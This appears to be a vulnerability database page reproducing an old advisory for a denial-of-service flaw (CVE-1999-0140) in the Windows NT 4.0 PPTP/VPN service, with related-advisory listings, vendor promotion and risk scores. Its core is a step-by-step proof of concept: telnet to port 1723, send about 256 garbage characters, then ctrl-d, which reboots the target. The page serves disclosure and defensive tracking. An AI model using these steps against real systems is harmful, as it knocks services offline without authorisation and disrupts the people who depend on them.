Microsoft NT 4.0 RAS/PPTP - Malformed Control Packet Denial of Service
| Reporter | Title | Published | Views | Family All 7 |
|---|---|---|---|---|
 | CVE-1999-0140 | 4 Feb 200005:00 | – | cve |
 | CVE-1999-0140 | 4 Feb 200005:00 | – | cvelist |
 | EUVD-1999-0140 | 7 Oct 202500:30 | – | euvd |
 | CVE-1999-0140 | 30 Jun 199904:00 | – | nvd |
 | PT-1999-1007 · Microsoft · Nt | 30 Jun 199900:00 | – | ptsecurity |
 | CVE-1999-0140 | 7 Jan 202609:41 | – | redhatcve |
 | Microsoft Windows PPTP Server Malformed Control Packet Remote DoS (179107) | 30 Aug 199900:00 | – | nessus |
source: https://www.securityfocus.com/bid/2111/info
Quoted from a Microsoft FAQ, "Point-to-Point-Tunneling Protocol (PPTP) is a new networking technology that supports multiprotocol virtual private networks (VPN), enabling remote users to access corporate networks securely across the Microsoft Windows NT Workstation, Windows 95, and Windows 98 operating systems and other point-to-point protocol (PPP)-enabled systems to dial into a local Internet service provider to connect securely to their corporate network through the Internet." On Microsoft Windows NT 4.0 up to and including Service Pack 4 running this service a denial of service is possible. This is accomplished by connecting to port 1723 (the PPTP/VPN service's port) and sending garbage (~256 characters) followed by control-d. This causes the target machine to reboot.
1) telnet targetmachine 1723
2) hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
hhhhhhhhhhhhhhhhhhhhhhhhhhhh (256 characters)
3) ctrl-dData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
14 Aug 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.13572